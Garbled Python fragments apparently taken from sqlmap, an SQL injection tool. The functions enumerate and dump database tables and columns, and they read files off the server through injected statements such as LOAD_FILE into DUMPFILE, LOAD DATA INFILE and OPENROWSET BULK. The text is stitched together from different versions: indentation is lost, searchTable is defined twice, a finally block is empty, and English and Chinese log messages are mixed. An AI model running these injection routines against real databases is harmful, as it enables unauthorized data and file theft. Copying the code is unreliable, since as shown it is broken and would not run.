column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
if columns:
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
if not kb.data.cachedColumns:
errMsg = "unable to retrieve column names for "
errMsg += ("table '%s' " %
tblList[0]) if len(tblList) == 1 else "any table "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.error(errMsg)
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames,
colTuple=colTuple,
bruteForce=True)
return kb.data.cachedColumns
def searchTable(self):
foundTbls = {}
tblList = conf.tbl.split(',')
rootQuery = queries[DBMS.MSSQL].search_table
tblCond = rootQuery.inband.condition
tblConsider, tblCondParam = self.likeOrExact("table")
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db:
enumDbs = conf.db.split(',')
elif not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
db = safeSQLIdentificatorNaming(db)
foundTbls[db] = []
for tbl in tblList:
tbl = safeSQLIdentificatorNaming(tbl, True)
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)
for db in list(foundTbls.keys()):
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION,
PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query.replace("%s", db)
query += tblQuery
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
if isinstance(values, str):
values = [values]
for foundTbl in values:
if foundTbl is None:
continue
foundTbls[db].append(foundTbl)
else:
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s' in database '%s'" % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(db))
logger.info(infoMsg)
query = rootQuery.blind.count
query = query.replace("%s", db)
query += " AND %s" % tblQuery
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s LIKE"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query.replace("%s", db)
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query, tblCond)
tbl = inject.getValue(query, union=False, error=False)
kb.hintValue = tbl
foundTbls[db].append(tbl)
for db, tbls in list(foundTbls.items()):
if len(tbls) == 0:
foundTbls.pop(db)
if not foundTbls:
warnMsg = "no databases contain any of the provided tables"
logger.warn(warnMsg)
return
conf.dumper.dbTables(foundTbls)
self.dumpFoundTables(foundTbls)
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath()
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
debugMsg += "into temporary file '%s'" % tmpFile
logger.debug(debugMsg)
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" %
(rFile, tmpFile))
debugMsg = "loading the content of hexadecimal encoded file "
debugMsg += "'%s' into support table" % rFile
logger.debug(debugMsg)
inject.goStacked(
"LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)"
% (tmpFile, self.fileTblName, randomStr(10), self.tblField))
length = inject.getValue("SELECT LENGTH(%s) FROM %s" %
(self.tblField, self.fileTblName),
resumeValue=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(length):
warnMsg = "unable to retrieve the content of the "
warnMsg += "file '%s'" % rFile
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
warnMsg += ", going to fall-back to simpler UNION technique"
logger.warn(warnMsg)
result = self.nonStackedReadFile(rFile)
else:
raise SqlmapNoneDataException(warnMsg)
else:
length = int(length)
sustrLen = 1024
if length > sustrLen:
result = []
for i in xrange(1, length, sustrLen):
chunk = inject.getValue(
"SELECT MID(%s, %d, %d) FROM %s" %
(self.tblField, i, sustrLen, self.fileTblName),
unpack=False,
resumeValue=False,
charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk)
else:
result = inject.getValue("SELECT %s FROM %s" %
(self.tblField, self.fileTblName),
resumeValue=False,
charsetType=CHARSET_TYPE.HEXADECIMAL)
return result
def dumpTable(self, foundData=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter, sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) entries"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.isDbms(DBMS.ORACLE):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise sqlmapMissingMandatoryOptionException, errMsg
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
else:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
raise sqlmapNoneDataException, errMsg
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
for tbl in tblList:
conf.tbl = tbl
kb.data.dumpedTable = {}
if foundData is None:
kb.data.cachedColumns = {}
self.getColumns(onlyColNames=True)
else:
kb.data.cachedColumns = foundData
try:
kb.dumpTable = "%s.%s" % (conf.db, tbl)
if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
or safeSQLIdentificatorNaming(tbl, True) not in \
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
warnMsg = "unable to enumerate the columns for table "
warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(
tbl)
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += ", skipping" if len(tblList) > 1 else ""
logger.warn(warnMsg)
continue
colList = sorted(
filter(
None, kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)].keys()))
colString = ", ".join(column for column in colList)
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
infoMsg = "fetching entries"
if conf.col:
infoMsg += " of column(s) '%s'" % colString
infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
entriesCount = 0
if any([
isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION),
isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR),
conf.direct
]):
entries = []
query = None
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (
colString, tbl.upper() if not conf.db else
("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
DBMS.ACCESS,
DBMS.FIREBIRD,
DBMS.MAXDB):
query = rootQuery.inband.query % (colString, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
DBMS.MSSQL):
# Partial inband and error
if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].
where == PAYLOAD.WHERE.ORIGINAL):
table = "%s.%s" % (conf.db, tbl)
retVal = pivotDumpTable(table,
colList,
blind=False)
if retVal:
entries, _ = retVal
entries = zip(
*[entries[colName] for colName in colList])
else:
query = rootQuery.inband.query % (colString,
conf.db, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL,
DBMS.PGSQL):
query = rootQuery.inband.query % (
colString, conf.db, tbl,
prioritySortColumns(colList)[0])
else:
query = rootQuery.inband.query % (colString, conf.db,
tbl)
if not entries and query:
entries = inject.getValue(query,
blind=False,
dump=True)
if isNoneValue(entries):
entries = []
elif isinstance(entries, basestring):
entries = [entries]
elif not isListLike(entries):
entries = []
entriesCount = len(entries)
for index, column in enumerate(colList):
if column not in kb.data.dumpedTable:
kb.data.dumpedTable[column] = {
"length": len(column),
"values": BigArray()
}
for entry in entries:
if entry is None or len(entry) == 0:
continue
if isinstance(entry, basestring):
colEntry = entry
else:
colEntry = unArrayizeValue(
entry[index]
) if index < len(entry) else u''
_ = len(
DUMP_REPLACEMENTS.get(getUnicode(colEntry),
getUnicode(colEntry)))
maxLen = max(len(column), _)
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
kb.data.dumpedTable[column]["values"].append(
colEntry)
if not kb.data.dumpedTable and isInferenceAvailable(
) and not conf.direct:
infoMsg = "fetching number of "
if conf.col:
infoMsg += "column(s) '%s' " % colString
infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (
tbl.upper() if not conf.db else
("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
DBMS.ACCESS,
DBMS.FIREBIRD):
query = rootQuery.blind.count % tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
DBMS.MSSQL):
query = rootQuery.blind.count % ("%s.%s" %
(conf.db, tbl))
elif Backend.isDbms(DBMS.MAXDB):
query = rootQuery.blind.count % tbl
else:
query = rootQuery.blind.count % (conf.db, tbl)
count = inject.getValue(query,
inband=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
lengths = {}
entries = {}
if count == 0:
warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(
conf.db)
warnMsg += "appears to be empty"
logger.warn(warnMsg)
for column in colList:
lengths[column] = len(column)
entries[column] = []
elif not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
if conf.col:
warnMsg += "column(s) '%s' " % colString
warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.warn(warnMsg)
continue
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,
DBMS.SYBASE,
DBMS.MAXDB,
DBMS.MSSQL):
if Backend.isDbms(DBMS.ACCESS):
table = tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
DBMS.MSSQL):
table = "%s.%s" % (conf.db, tbl)
elif Backend.isDbms(DBMS.MAXDB):
table = "%s.%s" % (conf.db, tbl)
retVal = pivotDumpTable(table,
colList,
count,
blind=True)
if retVal:
entries, lengths = retVal
else:
emptyColumns = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2)
indexRange = getLimitRange(count,
dump=True,
plusOne=plusOne)
if len(colList) < len(
indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
for column in colList:
if inject.getValue("SELECT COUNT(%s) FROM %s" %
(column, kb.dumpTable),
inband=False,
error=False) == '0':
emptyColumns.append(column)
debugMsg = "column '%s' of table '%s' will not be " % (
column, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
try:
for index in indexRange:
for column in colList:
value = ""
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = BigArray()
if Backend.getIdentifiedDbms() in (
DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query % (
column, conf.db, conf.tbl,
sorted(colList, key=len)[0], index)
elif Backend.getIdentifiedDbms() in (
DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (
column, column,
tbl.upper() if not conf.db else
("%s.%s" %
(conf.db.upper(), tbl.upper())),
index)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % (
column, tbl, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (
index, column, tbl)
value = NULL if column in emptyColumns else inject.getValue(
query,
inband=False,
error=False,
dump=True)
_ = DUMP_REPLACEMENTS.get(
getUnicode(value), getUnicode(value))
lengths[column] = max(
lengths[column], len(_))
entries[column].append(value)
except KeyboardInterrupt:
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
for column, columnEntries in entries.items():
length = max(lengths[column], len(column))
kb.data.dumpedTable[column] = {
"length": length,
"values": columnEntries
}
entriesCount = len(columnEntries)
if len(kb.data.dumpedTable) == 0 or (entriesCount == 0
and kb.permissionFlag):
warnMsg = "unable to retrieve the entries "
if conf.col:
warnMsg += "of columns '%s' " % colString
warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
warnMsg += "in database '%s'%s" % (
unsafeSQLIdentificatorNaming(conf.db),
" (permission denied)" if kb.permissionFlag else "")
logger.warn(warnMsg)
else:
kb.data.dumpedTable["__infos__"] = {
"count": entriesCount,
"table": safeSQLIdentificatorNaming(tbl, True),
"db": safeSQLIdentificatorNaming(conf.db)
}
attackDumpedTable()
conf.dumper.dbTableValues(kb.data.dumpedTable)
except sqlmapConnectionException, e:
errMsg = "connection exception detected in dumping phase: "
errMsg += "'%s'" % e
logger.critical(errMsg)
finally:
def searchColumn(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common column existence check? %s" % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
regex = "|".join(conf.col.split(","))
conf.dumper.dbTableColumns(
columnExists(paths.COMMON_COLUMNS, regex))
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("n", "N"):
self.dumpAll()
return
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
whereDbsQuery = ""
whereTblsQuery = ""
infoMsgTbl = ""
infoMsgDb = ""
colList = conf.col.split(",")
origTbl = conf.tbl
origDb = conf.db
colCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblCond = rootQuery.inband.condition3
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
values = []
column = safeSQLIdentificatorNaming(column)
conf.db = origDb
conf.tbl = origTbl
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
column = column.upper()
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
foundCols[column] = {}
if conf.tbl:
_ = conf.tbl.split(",")
whereTblsQuery = " AND (" + " OR ".join(
"%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl))
for tbl in _) + ")"
infoMsgTbl = " for table%s '%s'" % (
"s" if len(_) > 1 else "", ", ".join(
unsafeSQLIdentificatorNaming(tbl) for tbl in _))
if conf.db and conf.db != CURRENT_DB:
_ = conf.db.split(",")
whereDbsQuery = " AND (" + " OR ".join(
"%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db))
for db in _) + ")"
infoMsgDb = " in database%s '%s'" % (
"s" if len(_) > 1 else "", ", ".join(
unsafeSQLIdentificatorNaming(db) for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(
" AND %s != '%s'" %
(dbCond, unsafeSQLIdentificatorNaming(db))
for db in self.excludeDbsList)
infoMsg2 = "skipping system database%s '%s'" % (
"s" if len(self.excludeDbsList) > 1 else "", ", ".join(
unsafeSQLIdentificatorNaming(db)
for db in self.excludeDbsList))
logger.info(infoMsg2)
else:
infoMsgDb = " across all databases"
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if not all((conf.db, conf.tbl)):
# Enumerate tables containing the column provided if
# either of database(s) or table(s) is not provided
query = rootQuery.inband.query
query = query % (colQuery + whereDbsQuery + whereTblsQuery)
values = inject.getValue(query, blind=False, time=False)
else:
# Assume provided databases' tables contain the
# column(s) provided
values = []
for db in conf.db.split(","):
for tbl in conf.tbl.split(","):
values.append([
safeSQLIdentificatorNaming(db),
safeSQLIdentificatorNaming(tbl, True)
])
for db, tbl in filterPairValues(values):
db = safeSQLIdentificatorNaming(db)
tbls = tbl.split(",")
for tbl in tbls:
tbl = safeSQLIdentificatorNaming(tbl, True)
if db is None or tbl is None:
continue
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True,
colTuple=(colConsider, colCondParam),
bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
kb.data.cachedColumns = {}
if not values and isInferenceAvailable() and not conf.direct:
if not conf.db:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
query = rootQuery.blind.count
query = query % (colQuery + whereDbsQuery + whereTblsQuery)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(
column)
logger.warn("%s%s" % (warnMsg, infoMsgTbl))
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query % (colQuery + whereDbsQuery +
whereTblsQuery)
query = agent.limitQuery(index, query)
db = unArrayizeValue(
inject.getValue(query, union=False, error=False))
db = safeSQLIdentificatorNaming(db)
if db not in dbs:
dbs[db] = {}
if db not in foundCols[column]:
foundCols[column][db] = []
else:
for db in conf.db.split(","):
db = safeSQLIdentificatorNaming(db)
if db not in foundCols[column]:
foundCols[column][db] = []
origDb = conf.db
origTbl = conf.tbl
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
for db in dbData:
conf.db = origDb
conf.tbl = origTbl
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (
unsafeSQLIdentificatorNaming(column),
unsafeSQLIdentificatorNaming(db))
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % colQuery
query += whereTblsQuery
count = inject.getValue(
query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(
column)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
if query.endswith("'%s')"):
query = query[:-1] + " AND %s)" % (
colQuery + whereTblsQuery)
else:
query += " AND %s" % (colQuery +
whereTblsQuery)
query = safeStringFormat(
query, unsafeSQLIdentificatorNaming(db))
query = agent.limitQuery(index, query)
tbl = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True,
colTuple=(colConsider,
colCondParam),
bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(
kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
if dbs:
conf.dumper.dbColumns(foundCols, colConsider, dbs)
self.dumpFoundColumn(dbs, foundCols, colConsider)
else:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
def _checkFileLength(self, localFile, remoteFile, fileRead=False):
if Backend.isDbms(DBMS.MYSQL):
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField,
"VARBINARY(MAX)")
inject.goStacked(
"INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)"
% (self.fileTblName, self.tblField, self.tblField, remoteFile,
self.fileTblName, self.tblField))
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField,
self.fileTblName)
try:
localFileSize = os.path.getsize(localFile)
except OSError:
warnMsg = u"文件'%s' 丢失" % localFile
logger.warn(warnMsg)
localFileSize = 0
if fileRead and Backend.isDbms(DBMS.PGSQL):
logger.info("无法在 PostgreSQL 上检查读取文件'%s'的长度" % remoteFile)
sameFile = True
else:
logger.debug(u"检查远程文件'%s'的长度" % remoteFile)
remoteFileSize = inject.getValue(lengthQuery,
resumeValue=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
sameFile = None
if isNumPosStrValue(remoteFileSize):
remoteFileSize = long(remoteFileSize)
localFile = getUnicode(localFile,
encoding=sys.getfilesystemencoding()
or UNICODE_ENCODING)
sameFile = False
if localFileSize == remoteFileSize:
sameFile = True
infoMsg = u"本地文件'%s'和远程文件" % localFile
infoMsg += u"'%s'的大小相同 (%d B)" % (remoteFile,
localFileSize)
elif remoteFileSize > localFileSize:
infoMsg = u"远程文件'%s'比本地文件'%s' (%dB)大(%d B)" % (
remoteFile, localFile, localFileSize, remoteFileSize)
else:
infoMsg = u"远程文件'%s'比本地文件'%s' (%dB)小(%d B)" % (
remoteFile, localFile, localFileSize, remoteFileSize)
logger.info(infoMsg)
else:
sameFile = False
warnMsg = u"看起来文件尚未写入"
warnMsg += u"(通常出现这种情况是因为DBMS进程用户在目标路径中没有写权限)"
logger.warn(warnMsg)
return sameFile
def searchTable(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common table existence check? %s" % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
regex = "|".join(conf.tbl.split(","))
return tableExists(paths.COMMON_TABLES, regex)
foundTbls = {}
tblList = conf.tbl.split(",")
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList:
values = []
tbl = safeSQLIdentificatorNaming(tbl, True)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.FIREBIRD):
tbl = tbl.upper()
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
if dbCond and conf.db and conf.db != CURRENT_DB:
_ = conf.db.split(",")
whereDbsQuery = " AND (" + " OR ".join(
"%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db))
for db in _) + ")"
infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "",
", ".join(db for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(
" AND '%s' != %s" %
(unsafeSQLIdentificatorNaming(db), dbCond)
for db in self.excludeDbsList)
infoMsg2 = "skipping system database%s '%s'" % (
"s" if len(self.excludeDbsList) > 1 else "", ", ".join(
db for db in self.excludeDbsList))
logger.info(infoMsg2)
else:
whereDbsQuery = ""
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query
query = query % (tblQuery + whereDbsQuery)
values = inject.getValue(query, blind=False, time=False)
if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE,
DBMS.FIREBIRD):
newValues = []
if isinstance(values, basestring):
values = [values]
for value in values:
dbName = "SQLite" if Backend.isDbms(
DBMS.SQLITE) else "Firebird"
newValues.append(
["%s%s" % (dbName, METADB_SUFFIX), value])
values = newValues
for foundDb, foundTbl in filterPairValues(values):
foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
if foundDb is None or foundTbl is None:
continue
if foundDb in foundTbls:
foundTbls[foundDb].append(foundTbl)
else:
foundTbls[foundDb] = [foundTbl]
if not values and isInferenceAvailable() and not conf.direct:
if Backend.getIdentifiedDbms() not in (DBMS.SQLITE,
DBMS.FIREBIRD):
if len(whereDbsQuery) == 0:
infoMsg = "fetching number of databases with table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
query = rootQuery.blind.count
query = query % (tblQuery + whereDbsQuery)
count = inject.getValue(
query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no databases have table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(
tbl)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query % (tblQuery + whereDbsQuery)
query = agent.limitQuery(index, query)
foundDb = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
foundDb = safeSQLIdentificatorNaming(foundDb)
if foundDb not in foundTbls:
foundTbls[foundDb] = []
if tblConsider == "2":
foundTbls[foundDb].append(tbl)
if tblConsider == "2":
continue
else:
for db in conf.db.split(","):
db = safeSQLIdentificatorNaming(db)
if db not in foundTbls:
foundTbls[db] = []
else:
dbName = "SQLite" if Backend.isDbms(
DBMS.SQLITE) else "Firebird"
foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = []
for db in foundTbls.keys():
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(db))
logger.info(infoMsg)
query = rootQuery.blind.count2
if Backend.getIdentifiedDbms() not in (DBMS.SQLITE,
DBMS.FIREBIRD):
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
if query.endswith("'%s')"):
query = query[:-1] + " AND %s)" % tblQuery
else:
query += " AND %s" % tblQuery
if Backend.isDbms(DBMS.FIREBIRD):
query = safeStringFormat(query, index)
